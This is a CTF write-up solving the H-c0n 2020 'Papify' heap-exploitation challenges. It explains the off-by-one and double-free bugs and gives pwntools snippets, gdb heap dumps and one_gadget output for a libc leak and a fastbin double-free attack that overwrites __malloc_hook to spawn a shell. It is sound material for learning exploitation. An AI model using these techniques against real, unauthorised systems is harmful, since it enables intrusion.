H-c0n qualifier 2020 - Papify 1&2 (English)
Content
H-c0n 2020 qualifier Papify (1&2)#
Papify is an exploitation challenge where we are given a Docker image description. The container is basically what is running on the adress provided nc ctf.h-c0n.com 60003
.
Most of the steps are common between v1 and v2, except for the method used for the libc leak.
Gathering information#
This is the file structure:
./papify2:
docker-compose.yml Dockerfile share tmp xinetd
./papify2/share:
chall flag pwn
./papify2/tmp:
chall
, our binary:
root@kali:~/h-c0n/papify2# file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e551576dc15f52434e0cec761e25e5cb1e63120, for GNU/Linux 3.2.0, stripped
root@kali:~/h-c0n/papify2# checksec chall
[*] '/root/h-c0n/papify2/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
root@kali:~/h-c0n/papify2# ./chall
/$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ /$$ /$$
| $$__ $$ /$$__ $$| $$__ $$|_ $$_/| $$_____/| $$ /$$/
| $$ \ $$| $$ \ $$| $$ \ $$ | $$ | $$ \ $$ /$$/
| $$$$$$$/| $$$$$$$$| $$$$$$$/ | $$ | $$$$$ \ $$$$/
| $$____/ | $$__ $$| $$____/ | $$ | $$__/ \ $$/
| $$ | $$ | $$| $$ | $$ | $$ | $$
| $$ | $$ | $$| $$ /$$$$$$| $$ | $$
|__/ |__/ |__/|__/ |______/|__/ |__/
Developed by Hackplayers. Version: FIXED (h-c0n quals 2020)
Select an option:
1. Add a paper
2. Fix a typo
3. Delete a paper
4. Print a paper
0. Exit
>>
- There are only 3 indices [0,1,2] that can be used to store papers.
- Even so, you can add a paper on the same index many times (this is important to remember after decompiling).
- You can only fix one character of one paper during the execution.
- You can delete a paper many times without raising any error (this is important to remember after decompiling).
- (Only Papify1) You can read the paper after deleting it. This is what makes Papify1 easier, because the leak can be obtained with almost no effort.
Now to the findings after decompiling the file with ghidra
:
calloc
is used to allocate the memory for the content of the paper and is filled with aread
.- Looking at the fix_typo method we can see that you can actually edit one byte outside of the assigned memory because of
>=
fwrite("Which typo do you want to fix?: ", 1uLL, 32uLL, stdout); scanf("%u", &v2); if ( paper_size[v1] >= v2 ) { // do edit
- The only thing using dynamic allocation is the content of the papers.
- Adding a paper on the same index many times actually keeps allocating new memory without freeing the old pointer if already in use.
- You can free a pointer many times by deleting the same paper over and over because the pointer itself is never set to null.
fwrite("Paper's index: ", 1uLL, 0xFuLL, stdout); scanf("%u", &v1); if ( v1 <= 2 && paper_content[v1] ) { free(paper_content[v1]); paper_size[v1] = 0; puts("Done."); }
Also, by setting up the container and running it we can check its libc version by getting the libc*.so
file in /usr/lib/x86_64-linux-gnu/
. In this case we saved it as libc-cont(ainter)
:
#This does not properly mount the container but is enough to get libc.
docker build . -t papifytest -f Dockerfile
docker run -d -it -p 60003:8888 --name=papify2 papifytest
docker exec -it papify2 bash
# find /usr/ -name "libc-*.so"
docker cp papify2:/usr/lib/x86_64-linux-gnu/libc-2.29.so libc-cont.so
root@kali:~/h-c0n/papify2# ./libc-cont.so --version
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
Tcache, calloc, double frees and a disclaimer#
Some basic ideas needed to understand the exploit:
- Tcache is a mechanism introduced in libc 2.26 to improve the performance while reclaiming freed memory chunks. It can store up to 7 chunks for each size. More info, rough translation but quite complete, turn to Chinese language to see table of contents.
calloc
doesn’t reclaim chunks from Tcache.- Freeing the same pointer two times can lead to some unexpected behaviour.
- In the exploit linked at the end most offsets are hardcoded numbers because we got them directly from gdb because we had problems and had to do some debugging.
Leaking libc (Papify1)#
Leaking libc address in Papify1 could be done by exploiting the fact that we can read a paper after deleting(freeing) it. When you free() a chunk the result varied depending if said chunk goes into tcache or elsewhere. If it goes into tcache you can’t leak anything meaningful just by reading the freed chunk. So we just fill the tcache with 7 chunks. Since we only have 3 pointers at the same time this would be impossible with malloc
, but calloc
doesn’t reuse chunks from tcache so we can just do it like this:
for i in range(7):
add(2, 128, "A"*128)
free(2)
add(0, 128, "B"*128)
add(1, 128, "C"*128)
free(0)
free(1)
show(0)
leak = p.recv(6) + '\x00\x00'
#have to pad it with some zeroes
0x55b25c4b5640: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAAAA"
0x55b25c4b5650: 0x0000000000000000 0x0000000000000091
0x55b25c4b5660: 0x00007f45e72daca0 0x00007f45e72daca0 <- leak
0x55b25c4b5670: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBBBB"
----------------------------------------------------------------------------------------------
0x7f45e72dac90 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7f45e72daca0 <main_arena+96>: 0x000055b25c4b5770 0x0000000000000000 <- our leaked direction
0x7f45e72dacb0 <main_arena+112>:0x000055b25c4b5650 0x000055b25c4b5650
main_arena
+96, from there we can get libc relative address in pwn with:
libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96
Leaking libc (Papify2)#
This version fixed the reading function so we could no longer access a deleted paper directly. To leak libc now we will have to make use of our off-by-one one-time edit. Since we can overwrite one character after the end of our reserved memory, that means we can actually overwrite the size
field of the next chunk if we place ourselves properly. Don’t forget to fill tcache so calloc
can actually reuse the freed chunk:
for i in range(7):
add(2, 128, "7"*128)
free(2)
add(0, 24, "A"*24)
add(1, 128, "B"*128)
add(2, 24, "C"*24)
free(1)
fix_typo(0, 24, '\x93')
add(1, 128, "d"*7) #add uses p.sendlineafter() which appends a "\n"
p.sendlineafter('>> ', '4')
p.sendlineafter('Paper\'s index: ', "1")
p.recvuntil('d' * 7 + '\n')
leak = p.recv(6) + '\x00\x00'
free(1)
:
0x55f7e5d47650: 0x0000000000000000 0x0000000000000021
0x55f7e5d47660: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141 0x0000000000000091
0x55f7e5d47680: 0x00007f695a510ca0 0x00007f695a510ca0 <- the dir we want, but
0x55f7e5d47690: 0x4242424242424242 0x4242424242424242 if we calloc again it
0x55f7e5d476a0: 0x4242424242424242 0x4242424242424242 will be set to 0
0x55f7e5d476b0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242 0x4242424242424242
0x55f7e5d47700: 0x0000000000000090 0x0000000000000020
0x55f7e5d47710: 0x4343434343434343 0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343 0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000 0x0000000000000000
0x0000000000000091
is the size field of our freed chunk. If we put the 91 in binary it’s 10010001
. The second least significant bit tells our program if the chunk is mmaped, and if it is calloc
doesn’t erase it’s contents before using it. Quite convenient that it’s located right after the end of our previous chunk (it’s important to get the sizes right so they literally touch). We just need the edit to set that bit with our edit funcion, so we just send a 0x93 (10010011) at position 24.
0x55f7e5d47660: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141 0x0000000000000093 <- looks like it worked
0x55f7e5d47680: 0x00007f695a510ca0 0x00007f695a510ca0
0x55f7e5d47690: 0x4242424242424242 0x4242424242424242
0x55f7e5d476a0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476b0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d47650: 0x0000000000000000 0x0000000000000021
0x55f7e5d47660: 0x4141414141414141 0x4141414141414141 <- "AAAAAAAAA"
0x55f7e5d47670: 0x4141414141414141 0x0000000000000091
0x55f7e5d47680: 0x0a64646464646464 0x00007f05169a4ca0 <- look at that, the calloc
0x55f7e5d47690: 0x4242424242424242 0x4242424242424242 didn't smash our chunk
0x55f7e5d476a0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476b0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476c0: 0x4242424242424242 0x4242424242424242 <- "BBBBBBBBB"
0x55f7e5d476d0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476e0: 0x4242424242424242 0x4242424242424242
0x55f7e5d476f0: 0x4242424242424242 0x4242424242424242
0x55f7e5d47700: 0x0000000000000090 0x0000000000000020
0x55f7e5d47710: 0x4343434343434343 0x4343434343434343 <- "CCCCCCCCC"
0x55f7e5d47720: 0x4343434343434343 0x000000000001f8e1
0x55f7e5d47730: 0x0000000000000000 0x0000000000000000
libc = ELF('./libc-cont.so')
libcDir = u64(leak) - libc.sym['__malloc_hook'] - 16 - 96
#Since we don't have a main_arena sym, just use __malloc_hook which is right above
#another 16 on top of the 96
add(1, 128, "d"*7+"\n")
without taking into account that out add method would actually add another newline at the end, modifying the leak we received and leading to a strange-ass offset obtained with gdb (check the CTF code at the end).Getting the shell#
We will use One_Gadget on the __malloc_hook
to get a shell running since we can’t really execute things any other way due to all the protection enabled. Another way would me to aim for the __free_hook
and point it to system
.
root@kali:/media/sf_hckon/papify2/share# one_gadget libc-cont.so
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL
0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Again, we fill tcache before starting. Since, as of 2.29, calloc
doesn’t reuse tcache we can go ahead and do a fastbin double free attach described here in detail. The described attack doesn’t have full RELRO like us; but, just like he says, we can still attack __malloc_hook
.
We just need to find an appropriate direction above __malloc_hook
where we can land our chunk. Let’s see what we can find around there with gdb:
0x7f0748abcbe0 <_IO_wide_data_0+256>: 0x0000000000000000 0x0000000000000000
0x7f0748abcbf0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc00 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc10 <_IO_wide_data_0+304>: 0x00007f0748abe020 0x0000000000000000
0x7f0748abcc20 <__memalign_hook>: 0x00007f0748989e20 0x00007f074898a4e0
0x7f0748abcc30 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc40 <main_arena>: 0x0000000000000000 0x0000000000000001
0x000000000000007f
would be perfect. Unless we can use unaligned memory. Let’s move this a bit:
0x7f0748abcbed <_IO_wide_data_0+269>: 0x0000000000000000 0x0000000000000000
0x7f0748abcbfd <_IO_wide_data_0+285>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc0d <_IO_wide_data_0+301>: 0x0748abe020000000 0x000000000000007f
0x7f0748abcc1d: 0x0748989e20000000 0x074898a4e000007f
0x7f0748abcc2d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f0748abcc3d: 0x0000000000000000 0x0000000001000000
0x7f0748abcc4d <main_arena+13>: 0x0000000000000000 0x0000000000000000
0x7f0748abcc30(_malloc_hook) - 0x7f0748abcc0d = 0x23
, so we just need to subtract that from _malloc_hook
position.
fakeChunk = libcDir + libc.sym['__malloc_hook'] - 0x23
oneGadget = libcDir + 0x106ef8
for i in range(7):
add(2, 96, "R"*96)
free(2)
add(0, 96, "S"*96)
add(1, 96, "T"*96)
free(0)
free(1)
free(0)
add(1, 96, p64(fakechunk) + "U"*88)
add(1, 96, "X"*96)
add(1, 96, "Y"*96)
add(0,96, 'i' * 19 + p64(oneGadget))
p.interactive()
add(2,1,'Open sesame.') # we can do this step manually for extra satisfaction.
After adding any paper the __malloc_hook
will trigger and we will have shell. Just cat flag
and GG.